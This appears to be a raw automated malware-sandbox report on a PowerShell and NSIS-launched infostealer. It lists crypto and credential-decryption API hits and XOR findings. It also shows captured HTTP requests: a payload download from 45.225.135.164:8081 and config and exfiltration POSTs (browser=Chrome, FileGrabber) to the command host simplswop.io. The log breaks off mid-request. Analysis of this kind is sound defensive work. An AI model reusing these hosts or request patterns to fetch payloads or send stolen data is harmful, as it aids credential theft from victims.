SystemProcessInformation at 00000000-00007200-00000C15-542739381 [PID: 7200] "powershell.exe" queried SystemProcessInformation at 00000000-00007200-00000C15-543637406 [PID: 7200] "powershell.exe" queried SystemProcessInformation at 00000000-00007200-00000C15-543646167 [PID: 7200] "powershell.exe" queried SystemProcessInformation at 00000000-00007200-00000C15-543894398 [PID: 7200] "powershell.exe" queried SystemProcessInformation at 00000000-00007200-00000C15-543903089 [PID: 7200] "powershell.exe" queried SystemProcessInformation at 00000000-00007200-00000C15-544306905 [PID: 7200] "powershell.exe" queried SystemProcessInformation at 00000000-00007200-00000C15-544314972 [PID: 7200] "powershell.exe" queried SystemProcessInformation at 00000000-00007200-00000C15-545249314 [PID: 7200]26:T1214,Found api reference "CryptExportKey" (Indicator: "CryptExportKey"; Source: "00000000-00002572.00000000.108538.7F030000.00000004.mdmp, 00000000-00003548.00000000.109508.22C60000.00000004.mdmp, 00000000-00004000.00000000.109166.B42B0000.00000004.mdmp, 00000000-00005124.00000000.110155.79950000.00000004.mdmp, 00000000-00006572.00000000.108207.A7DF0000.00000004.mdmp") Found api reference "CryptImportKey" (Indicator: "CryptImportKey"; Source: "00000000-00002572.00000000.108538.7F030000.00000004.mdmp, 00000000-00003548.00000000.109508.22C60000.00000004.mdmp, 00000000-00004000.00000000.109166.B42B0000.00000004.mdmp, 00000000-00007892.00000000.106930.3CC40000.00000004.mdmp, 00000000-00008100.00000000.110788.0F9D0000.00000004.mdmp") Found api reference "CryptEncrypt" (Indicator: "CryptEncrypt"; Source: "00000000-00002572.00000000.108538.7F030000.00000004.mdmp, 00000000-00003548.00000000.109508.22C60000.00000004.mdmp, 00000000-00004000.00000000.109166.B42B0000.00000004.mdmp, 00000000-00006312.00000000.107567.68460000.00000004.mdmp") Found api reference "CryptDecrypt" (Indicator: "CryptDecrypt"; Source: "00000000-00004000.00000000.109166.B42B0000.00000004.mdmp, 00000000-00006312.00000000.107567.68460000.00000004.mdmp, 00000000-00007892.00000000.106930.3CC40000.00000004.mdmp, 00000000-00008100.00000000.110788.0F9D0000.00000004.mdmp") Found api reference "CryptImportKey" (Indicator: "CryptImportKey"; Source: "00000000-00003892.00000000.103702.C87E0000.00000004.mdmp") Found api reference "CryptDecrypt" (Indicator: "CryptDecrypt"; Source: "00000000-00003892.00000000.103702.C87E0000.00000004.mdmp") Found api reference "CryptExportKey" (Indicator: "CryptExportKey"; Source: "00000000-00003892.00000000.103702.C87E0000.00000004.mdmp") Found api reference "CryptEncrypt" (Indicator: "CryptEncrypt"; Source: "00000000-00004064.00000000.103053.145A0000.00000004.mdmp") Found api reference "CryptExportKey" (Indicator: "CryptExportKey"; Source: "00000000-00004064.00000000.103053.145A0000.00000004.mdmp") Found api reference "CryptDecrypt" (Indicator: "CryptDecrypt"; Source: "00000000-00004064.00000000.103053.145A0000.00000004.mdmp") Found api reference "BCryptDestroyKey" (Indicator: "BCryptDestroyKey"; Source: "00000000-00004284.00000000.102677.467CD000.00000002.mdmp") Found api reference "BCryptDestroyKey" (Indicator: "CryptDestroyKey"; Source: "00000000-00004284.00000000.102677.467CD000.00000002.mdmp") Found api reference "BCryptDecrypt" (Indicator: "BCryptDecrypt"; Source: "00000000-00004284.00000000.102677.467CD000.00000002.mdmp") Found api reference "BCryptDecrypt" (Indicator: "CryptDecrypt"; Source: "00000000-00004284.00000000.102677.467CD000.00000002.mdmp") Found api reference "BCryptOpenAlgorithmProvider" (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00004284.00000000.102677.467CD000.00000002.mdmp") Found api reference "BCryptCloseAlgorithmProvider" (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00004284.00000000.102677.467CD000.00000002.mdmp") Found api reference "BCryptSetProperty" (Indicator: "BCryptSetProperty"; Source: "00000000-00004284.00000000.102677.467CD000.00000002.mdmp") Found api reference "BCryptGenerateSymmetricKey" (Indicator: "BCryptGenerateSymmetricKey"; Source: "00000000-00004284.00000000.102677.467CD000.00000002.mdmp") Found api reference "CryptStringToBinaryA" (Indicator: "CryptStringToBinaryA"; Source: "00000000-00004284.00000000.102677.467CD000.00000002.mdmp") Found api reference "CryptReleaseContext" (Indicator: "CryptReleaseContext"; Source: "00000000-00004284.00000000.102677.467CD000.00000002.mdmp") Found api reference "CryptGenRandom" (Indicator: "CryptGenRandom"; Source: "00000000-00004284.00000000.102677.467CD000.00000002.mdmp") Found api reference "CryptAcquireContextA" (Indicator: "CryptAcquireContextA"; Source: "00000000-00004284.00000000.102677.467CD000.00000002.mdmp") Found api reference "CryptBinaryToStringA" (Indicator: "CryptBinaryToStringA"; Source: "00000000-00004284.00000000.102677.467CD000.00000002.mdmp") Found api reference "CryptUnprotectData" (Indicator: "CryptUnprotectData"; Source: "00000000-00004284.00000000.102677.467CD000.00000002.mdmp") Found api reference "NCryptFreeBuffer" (Indicator: "NCryptFreeBuffer"; Source: "00000000-00004284.00000000.102677.467CD000.00000002.mdmp") Found api reference "NCryptOpenStorageProvider" (Indicator: "NCryptOpenStorageProvider"; Source: "00000000-00004284.00000000.102677.467CD000.00000002.mdmp") Found api reference "NCryptEnumKeys" (Indicator: "NCryptEnumKeys"; Source: "00000000-00004284.00000000.102677.467CD000.00000002.mdmp")27:T12ec,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNRAgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQUvSVTZwxcxUqDUoxiH97RfI559SygghV6MIIEuzCCA6OgAwIBAgITMwAAAF3JyvZpIzdoUAAAAAAAXTANBgkqhk" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"}28:T1413,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004404-60327-49-012FEE60 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004404-60327-92-012FE950 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004404-60327-92-012FE950 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004404-60327-126-012FD490 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004404-60327-126-012FD490 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004404-60327-129-012F985C Assembly shows XOR instruction xor esi dword ptr [01300394h] in Stream UID: 00000000-00004404-60327-129-012F985C Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004404-60327-129-012F985C Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004404-60327-133-012F995D Assembly shows XOR instruction xor esi dword ptr [01300390h] in Stream UID: 00000000-00004404-60327-133-012F995D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004404-60327-133-012F995D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004404-60327-135-012FDAD1 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004404-60327-135-012FDAD1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004404-60327-137-012FDA34 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004404-60327-137-012FDA34 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004404-60327-141-012FD610 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004404-60327-141-012FD610 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004404-60327-149-012FD560 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004404-60327-149-012FD560 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004404-60327-151-012FD501 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004404-60327-151-012FD501 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004404-60327-158-012FA510 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004404-60327-161-012FA4E0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004404-60327-162-012FA4B0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004404-60327-182-012F8190 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004404-60327-182-012F8190 Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00004404-60327-194-012FC4B6 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00004404-60327-194-012FC4B6 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004404-60327-195-012F8AF0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004404-60327-195-012F8AF0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004404-60327-198-012F8E30 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004404-60327-198-012F8E30 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004404-60327-199-012F7C30 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004404-60327-199-012F7C30 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004404-60327-202-012F85B0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004404-60327-202-012F85B0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004404-60327-203-012F89F0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004404-60327-203-012F89F0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004404-60327-204-012F9030 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004404-60327-204-012F9030 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004404-60327-211-012FD341 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004404-60327-211-012FD341 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004404-60327-214-012FC439 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004404-60327-214-012FC439 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004404-60327-215-012F92C0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004404-60327-215-012F92C0 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00004404-60327-217-012F9F43 Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00004404-60327-217-012F9F43 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00004404-60327-217-012F9F43 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00004404-60327-217-012F9F43 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00004404-60327-217-012F9F43 Assembly shows XOR instruction xor ecx eax in Stream UID: 00000000-00004404-60327-217-012F9F4329:T4a3,Found string ":\WINDOWS\SYSTEM32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00002572.00000000.108538.7F030000.00000004.mdmp, 00000000-00003548.00000000.109508.22C60000.00000004.mdmp, 00000000-00004000.00000000.109166.B42B0000.00000004.mdmp, 00000000-00005124.00000000.110155.79950000.00000004.mdmp, 00000000-00006312.00000000.107567.68460000.00000004.mdmp, 00000000-00006572.00000000.108207.A7DF0000.00000004.mdmp, 00000000-00007892.00000000.106930.3CC40000.00000004.mdmp, 00000000-00008100.00000000.110788.0F9D0000.00000004.mdmp") Found string ":\WINDOWS\SYSTEM32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00003892.00000000.103702.C87E0000.00000004.mdmp") Found string ":\WINDOWS\SYSTEM32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00004064.00000000.103053.145A0000.00000004.mdmp") Found string ":\WINDOWS\SYSTEM32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00004284.00000000.102677.ED320000.00000004.mdmp") Found string ":\WINDOWS\SYSTEM32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00004404.00000000.100833.01150000.00000004.mdmp, 00000000-00004404.00000001.101292.01150000.00000004.mdmp")2a:T71f7,Contains base64 string in header "NSIS" in header "GET /GoogleAdsSpainWinRarT1.exe HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 45.225.135.164:8081Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "GET /GoogleAdsSpainWinRarT1.exe HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 45.225.135.164:8081Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /GoogleAdsSpainWinRarT1.exe HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 45.225.135.164:8081Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "/backend/api/app" in header "GET /backend/api/app.php?action=cfg&hwid=8250790ABB6552085A14E9AACD5F9C89 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioCache-Control: no-cache" Contains base64 string in header "8250790ABB6552085A14E9AACD5F9C89" in header "GET /backend/api/app.php?action=cfg&hwid=8250790ABB6552085A14E9AACD5F9C89 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioCache-Control: no-cache" Contains base64 string in header "Language" in header "GET /backend/api/app.php?action=cfg&hwid=8250790ABB6552085A14E9AACD5F9C89 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioCache-Control: no-cache" Contains base64 string in header "5Upgrade" in header "GET /backend/api/app.php?action=cfg&hwid=8250790ABB6552085A14E9AACD5F9C89 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioCache-Control: no-cache" Contains base64 string in header "Insecure" in header "GET /backend/api/app.php?action=cfg&hwid=8250790ABB6552085A14E9AACD5F9C89 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioCache-Control: no-cache" Contains base64 string in header "Requests" in header "GET /backend/api/app.php?action=cfg&hwid=8250790ABB6552085A14E9AACD5F9C89 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioCache-Control: no-cache" Contains base64 string in header "1Sec" in header "GET /backend/api/app.php?action=cfg&hwid=8250790ABB6552085A14E9AACD5F9C89 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioCache-Control: no-cache" Contains base64 string in header "Dest" in header "GET /backend/api/app.php?action=cfg&hwid=8250790ABB6552085A14E9AACD5F9C89 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioCache-Control: no-cache" Contains base64 string in header "Mode" in header "GET /backend/api/app.php?action=cfg&hwid=8250790ABB6552085A14E9AACD5F9C89 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioCache-Control: no-cache" Contains base64 string in header "Site" in header "GET /backend/api/app.php?action=cfg&hwid=8250790ABB6552085A14E9AACD5F9C89 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioCache-Control: no-cache" Contains base64 string in header "same" in header "GET /backend/api/app.php?action=cfg&hwid=8250790ABB6552085A14E9AACD5F9C89 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioCache-Control: no-cache" Contains base64 string in header "like" in header "GET /backend/api/app.php?action=cfg&hwid=8250790ABB6552085A14E9AACD5F9C89 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Chrome HTTP/1.1Content-Type: multipart/form-data; boundary=----361EE8FE0000196C93BB4D5BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 2142Cache-Control: no-cache" Contains base64 string in header "/backend/api/app" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Chrome HTTP/1.1Content-Type: multipart/form-data; boundary=----361EE8FE0000196C93BB4D5BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 2142Cache-Control: no-cache" Contains base64 string in header "8250790ABB6552085A14E9AACD5F9C89" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Chrome HTTP/1.1Content-Type: multipart/form-data; boundary=----361EE8FE0000196C93BB4D5BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 2142Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Chrome HTTP/1.1Content-Type: multipart/form-data; boundary=----361EE8FE0000196C93BB4D5BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 2142Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Chrome HTTP/1.1Content-Type: multipart/form-data; boundary=----361EE8FE0000196C93BB4D5BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 2142Cache-Control: no-cache" Contains base64 string in header "data" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Chrome HTTP/1.1Content-Type: multipart/form-data; boundary=----361EE8FE0000196C93BB4D5BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 2142Cache-Control: no-cache" Contains base64 string in header "361EE8FE0000196C93BB4D5BUser" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Chrome HTTP/1.1Content-Type: multipart/form-data; boundary=----361EE8FE0000196C93BB4D5BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 2142Cache-Control: no-cache" Contains base64 string in header "like" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Chrome HTTP/1.1Content-Type: multipart/form-data; boundary=----361EE8FE0000196C93BB4D5BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 2142Cache-Control: no-cache" Contains base64 string in header "POST" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=FileGrabber HTTP/1.1Content-Type: multipart/form-data; boundary=----361F10050000196C93BAB5A0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 1149Cache-Control: no-cache" Contains base64 string in header "/backend/api/app" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=FileGrabber HTTP/1.1Content-Type: multipart/form-data; boundary=----361F10050000196C93BAB5A0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 1149Cache-Control: no-cache" Contains base64 string in header "8250790ABB6552085A14E9AACD5F9C89" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=FileGrabber HTTP/1.1Content-Type: multipart/form-data; boundary=----361F10050000196C93BAB5A0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 1149Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=FileGrabber HTTP/1.1Content-Type: multipart/form-data; boundary=----361F10050000196C93BAB5A0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: 